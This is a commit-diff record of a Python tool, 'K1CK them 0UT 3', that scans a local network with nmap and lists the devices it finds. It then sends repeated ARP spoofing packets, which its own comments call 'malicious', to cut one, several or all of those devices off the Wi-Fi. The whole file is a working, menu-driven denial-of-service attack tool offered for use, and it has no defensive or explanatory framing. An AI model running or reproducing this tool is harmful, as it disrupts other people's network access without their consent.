    # display warning in case of no active hosts
    if len(ip_mac_vendor) == 0:
        print("\n{}WARNING: There are no other uphosts on LAN .. Try again {}\n".format(
            RED, END))
        raise SystemExit

    while True:
        optionBanner()
        header = ('{0}K1CKthemout{1}> {2}'.format(BLUE, WHITE, END))
        choice = input(header)
        if choice.upper() == 'E' or choice.upper() == 'EXIT':
            print('\n\n\t\t{0}ThanK Y0U for DR0PP1NG by \n\n\t\tSEE U S00N!{1}\n\n\n'.format(
                YELLOW, END))
            raise SystemExit
        elif choice == '1':
            K1CKoneoff()
            os.system("clear||cls")
        elif choice == '2':
            K1CKsomeoff()
            os.system("clear||cls")
        elif choice == '3':
            K1CKalloff()
            os.system("clear||cls")
        else:
            print("\n{0}ERROR: Please select a valid option.{1}\n".format(RED, END))

if __name__ == '__main__':
    try:
        os.system("clear||cls")
        heading()
        sys.stdout.write(
            "\n\n{}Scanning your N3TW0RK, H4NG 0N...{}\n\r".format(YELLOW, END))
        net_config()
        main()
    except KeyboardInterrupt:
        print('\n\n\t{0}ThanK Y0U for DR0PP1NG by \n \tSEE U S00N!{1}\n\n'.format(
            YELLOW, END))
<commit_msg>check response status<commit_after>#!/usr/bin/env python3

import time
import os
import sys
import logging
import math
from datetime import timedelta
from time import sleep
import requests
import R_spoof
BLUE, RED, WHITE, YELLOW, MAGENTA, GREEN, END = '\33[94m', '\033[91m', '\33[97m', '\33[93m', '\033[1;35m', '\033[1;32m', '\033[0m'

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  # Shut up scapy!
try:
    from scapy.all import *
    import nmap
except ImportError:
    print("\n{0}ERROR: Requirements have not been satisfied properly. Please look at the README file for configuration instructions.".format(RED))
    print("\n{0}If you still cannot resolve this error, please submit an issue here:\n\t{1}https://github.com/R3DDY97/K1CK_them_0UT3/issues\n{2}".format(RED, BLUE, END))
    raise SystemExit

# check whether user is root
if os.geteuid() != 0:
    print("\n{0}ERROR: K1CKThemOut3 must be run with root privileges. Try again with sudo:\n\t{1}$ sudo python3 kick.py{2}\n".format(RED, GREEN, END))
    raise SystemExit

def heading():
    spaces = " " * 70
    sys.stdout.write(RED + spaces + """

    KK  KK IIIII  CCCCC  KK  KK  tt    hh
    KK KK   III  CC    C KK KK   tt    hh        eee  mm mm mmmm
    KKKK    III  CC      KKKK    tttt  hhhhhh  ee   e mmm  mm  mm
    KK KK   III  CC    C KK KK   tt    hh   hh eeeee  mmm  mm  mm
    KK  KK IIIII  CCCCC  KK  KK   tttt hh   hh  eeeee mmm  mm  mm

     OOOOO  UU   UU TTTTTTT        333333
    OO   OO UU   UU   TTT             3333
    OO   OO UU   UU   TTT   _____    3333
    OO   OO UU   UU   TTT              333
     OOOO0   UUUUU    TTT          333333

    """ + END + BLUE +
                     '\n' + '{0}K1CK devices accesing your Wifi  ({1}K1CK TH3M 0UT 3{2}){3}'.format(YELLOW, RED, YELLOW, BLUE).center(98) +
                     '\n' + 'Made With <3 by: {0}SH3RL0CK ({1}B4TM4N{2}) & {0}W4TS0N ({1}AGN3S{2}){3}'.format(
                         YELLOW, RED, YELLOW, BLUE).center(111) +
                     '\n' + 'Version: {0}0.2{1}\n'.format(YELLOW, END).center(86))

def optionBanner():
    print('\n\tChoose option from menu:\n')
    sleep(0.2)
    print('\t\t{0}[{1}1{2}]{3} K1CK ONE Off'.format(
        YELLOW, RED, YELLOW, WHITE))
    sleep(0.2)
    print('\t\t{0}[{1}2{2}]{3} K1CK SOME Off'.format(
        YELLOW, RED, YELLOW, WHITE))
    sleep(0.2)
    print('\t\t{0}[{1}3{2}]{3} K1CK ALL Off'.format(
        YELLOW, RED, YELLOW, WHITE))
    sleep(0.2)
    print(
        '\n\t\t{0}[{1}E{2}]{3} Exit K1CK-Them-0UT\n'.format(YELLOW, RED, YELLOW, WHITE))

def vendorMAC(mac):
    url = "http://api.macvendors.com/{}".format(mac)
    response = requests.get(url)
    if response.ok:
        return response.text
    return "NA"

def net_config():
    global defaultInterface
    global defaultGatewayIP
    global defaultInterfaceIP
    global defaultInterfaceMAC
    global defaultGatewayMac
    global GatewayInterface

    defaultInterface = conf.iface
    defaultInterfaceIP = get_if_addr(defaultInterface)
    defaultInterfaceMAC = get_if_hwaddr(defaultInterface).upper()

    routing = scapy.config.conf.route.routes
    route_list = [i.split() for i in str(conf.route).splitlines()]
    defaultGatewayIP = route_list[2][2]
    defaultGatewayMac = getmacbyip(defaultGatewayIP).upper()
    gateway = route_list[-1][0]
    for i in routing:
        if int(utils.ipaddress.IPv4Address(gateway)) in i:
            netmask = 32 - int(round(math.log(0xFFFFFFFF - (i[1]), 2)))
    GatewayInterface = "{}/{}".format(defaultGatewayIP, netmask)

def scanNetwork():
    # Scanning Network using nmap
    nm = nmap.PortScanner()
    scanDict = nm.scan(hosts=GatewayInterface, arguments='-sn')
    scanstats = nm.scanstats()
    elapsed_time = float(scanstats["elapsed"])
    uphosts = int(scanstats["uphosts"])
    timestr = scanstats["timestr"]

    IPlist = nm.all_hosts()
    IPlist.remove(defaultInterfaceIP)
    IPlist.remove(defaultGatewayIP)
    try:
        macList = [getmacbyip(ip).upper() for ip in IPlist]
    except AttributeError:
        macList = [nm[x]['addresses']['mac'] for x in IPlist]
    # macList = [nm[x]['addresses']['mac'] for x in IPlist]

    hostname_list = [nm[x]['hostnames'][0]['name'] for x in IPlist]
    try:
        vendorList = [nm[x]['vendor'][m] for x, m in zip(IPlist, macList)]
    except:
        pass
    try:
        vendorList = [vendorMAC(mac) for mac in macList]
    except:
        print("Not able to find vendor names\n")
        vendorList = ["NA"] * len(IPlist)
    ip_mac_vendor_hosts = [[i, m, v, h] for i, m, v, h in zip(
        IPlist, macList, vendorList, hostname_list)]

    print('''\n\t{}N3TW0RK scan summary :-\n{}
            Scan runtime : {}{}{}
            Interface    : {}{}{}
            MAC          : {}{}{}
            Gateway IP   : {}{}{}
            uphosts      : {}{}{}
            Target hosts : {}{}{}\n
           '''.format(YELLOW, WHITE, RED, elapsed_time, WHITE, RED, defaultInterface, WHITE, RED, defaultGatewayMac, WHITE, RED, defaultGatewayIP, WHITE, RED, uphosts, WHITE, RED, len(IPlist), END))
    return ip_mac_vendor_hosts

# ########################################################################################

# K1CK one device
def K1CKoneoff():
    os.system("clear||cls")
    print("\n{0}K1CK-ONE-0ff{1} iz selected...{2}\n".format(RED, GREEN, END))
    sys.stdout.write(
        "\n\t{0}Scanning your N3TW0RK, H4NG 0N...{1}\n\n\r".format(RED, END))
    sys.stdout.flush()
    imv = scanNetwork()
    print("{0}\tNo\t{1}IP ADDRESS\t  {2}MAC ADDRESS\t\t{3}VENDOR NAME{4}\n".format(
        YELLOW, WHITE, RED, GREEN, END))
    for n, i in enumerate(imv, 1):
        print("{0}\t[{5}]\t{1}{6}\t{2}{7}\t{3}{8}{4}".format(
            YELLOW, WHITE, RED, GREEN, END, n, i[0], i[1], i[2]))

    while True:
        try:
            choice = int(
                input("\n\t{0}CH00SE the target:-{1} ".format(WHITE, END)))-1
            one_target_ip = imv[choice][0]
            one_target_mac = imv[choice][1]
            vendor = imv[choice][2]
            break
        except KeyboardInterrupt:
            return
        except:
            print(
                "\n{0}ERROR: Please enter a number from the list!{1}".format(RED, END))

    print("\n\t{0}Target:-  {5}{1} - {6}{3}  -  {7}{4} {2}".format(RED,
                                                                   one_target_ip, END, one_target_mac, vendor, WHITE, RED, GREEN))
    print(
        "\n\t {0}SP00FING has started...& Press CTRL+C keys to stop it {1}\n".format(BLUE, END))
    print(
        "\n \t {1}  K1CK3D {0} - 0UT 0F Wifi{2}\n".format(one_target_ip, RED, END))

    start = time.time()
    try:
        while True:
            # broadcast malicious ARP packets (10p/s)
            R_spoof.sendPacket(defaultInterfaceMAC,
                               defaultGatewayIP, one_target_ip, one_target_mac)
            elapsed = timedelta(seconds=round(time.time() - start))
            print(
                "\r \t {0}ATT4CK DUR4T10N :- {1} seconds{2}".format(YELLOW, elapsed, END), end="")
            time.sleep(10)
    except KeyboardInterrupt:
        return

#########################################################################################

# K1CK multiple devices

def K1CKsomeoff():
    os.system("clear||cls")
    print("\n{0}K1CK-S0ME-0ff{1} iz selected...{2}\n".format(RED, GREEN, END))
    sys.stdout.write(
        "\n\t{0}Scanning your N3TW0RK, H4NG 0N...{1}\r".format(GREEN, END))
    sys.stdout.flush()
    imv = scanNetwork()
    if len(imv) == 1:
        print("\n\n\tThere are no more than ONE device to K1CK.. Select K1CKoneoff\n\n\t")
        return
    print("{0}\tNo\t{1}IP ADDRESS\t  {2}MAC ADDRESS\t\t{3}VENDOR NAME{4}\n".format(
        YELLOW, WHITE, RED, GREEN, END))

    for n, i in enumerate(imv, 1):
        print("{0}\t[{5}]\t{1}{6}\t{2}{7}\t{3}{8}{4}".format(
            YELLOW, WHITE, RED, GREEN, END, n, i[0], i[1], i[2]))

    while True:
        try:
            choice = input("\nChoose devices to target(comma-separated): ")
            if ',' in choice:
                some_targets = [int(i)-1 for i in choice.split(",")]
                print("\nSelected devices are:\n")
                for i in some_targets:
                    print(imv[i][0])
                break
        except KeyboardInterrupt:
            return
        except ValueError:
            print("\n{}Enter comma separated above devices number\n{}".format(RED, END))

    print(
        "\n\t{0}SP00FING has started...& Press CTRL+C keys to stop it {1}\n".format(BLUE, END))
    print("\n \t{0}K1CK3D them  0UT 0F Wifi{1}\n".format(RED, END))
    try:
        start = time.time()
        while True:
            # broadcast malicious ARP packets (10p/s)
            for i in some_targets:
                R_spoof.sendPacket(defaultInterfaceMAC,
                                   defaultGatewayIP, imv[i][0], imv[i][1])
                elapsed = timedelta(seconds=round(time.time() - start))
            print(
                "\r \t {0}ATT4CK DUR4T10N :- {1} seconds{2}".format(YELLOW, elapsed, END), end="")
            time.sleep(10)
    except KeyboardInterrupt:
        return

# ########################################################################################

# K1CK all devices

def K1CKalloff():
    os.system("clear||cls")
    print("\n{0}K1CK-ALL-Off{1} iz selected...{2}\n".format(RED, GREEN, END))
    sys.stdout.write(
        "\n\t{0}Scanning your N3TW0RK, H4NG 0N...{1}\n".format(GREEN, END))
    sys.stdout.flush()
    imv = scanNetwork()
    for n, i in enumerate(imv, 1):
        print(" {0}[{5}]\t{1}{6}\t{2}{7}\t{3}{8}{4}".format(
            YELLOW, WHITE, RED, GREEN, END, n, i[0], i[1], i[2]))
    print(
        "\n\t {0}SP00FING has started...& Press CTRL+C keys to stop it {1}\n".format(BLUE, END))
    print("\n \t {0}K1CK3D ALL  0UT 0F Wifi{1}\n".format(RED, END))
    try:
        # broadcast malicious ARP packets (10p/s)
        start = time.time()
        reScan = 0
        while True:
            for i in imv:
                R_spoof.sendPacket(defaultInterfaceMAC,
                                   defaultGatewayIP, i[0], i[1])
                elapsed = timedelta(seconds=round(time.time() - start))
            print(
                "\r\t{0}ATT4CK DUR4T10N :- {1} seconds{2}".format(YELLOW, elapsed, END), end="")
            reScan += 1
            if reScan == 4:
                reScan = 0
                scanNetwork()
            time.sleep(10)
    except KeyboardInterrupt:
        return

# ########################################################################################

# script's main function

def main():
    ip_mac_vendor = scanNetwork()
    # display warning in case of no active hosts
    if len(ip_mac_vendor) == 0:
        print("\n{}WARNING: There are no other uphosts on LAN .. Try again {}\n".format(
            RED, END))
        raise SystemExit

    while True:
        optionBanner()
        header = ('{0}K1CKthemout{1}> {2}'.format(BLUE, WHITE, END))
        choice = input(header)
        if choice.upper() == 'E' or choice.upper() == 'EXIT':
            print('\n\n\t\t{0}ThanK Y0U for DR0PP1NG by \n\n\t\tSEE U S00N!{1}\n\n\n'.format(
                YELLOW, END))
            raise SystemExit
        elif choice == '1':
            K1CKoneoff()
            os.system("clear||cls")
        elif choice == '2':
            K1CKsomeoff()
            os.system("clear||cls")
        elif choice == '3':
            K1CKalloff()
            os.system("clear||cls")
        else:
            print("\n{0}ERROR: Please select a valid option.{1}\n".format(RED, END))

if __name__ == '__main__':
    try:
        os.system("clear||cls")
        heading()
        sys.stdout.write(
            "\n\n{}Scanning your N3TW0RK, H4NG 0N...{}\n\r".format(YELLOW, END))
        net_config()
        main()
    except KeyboardInterrupt:
        print('\n\n\t{0}ThanK Y0U for DR0PP1NG by \n \tSEE U S00N!{1}\n\n'.format(
            YELLOW, END))
<|endoftext|>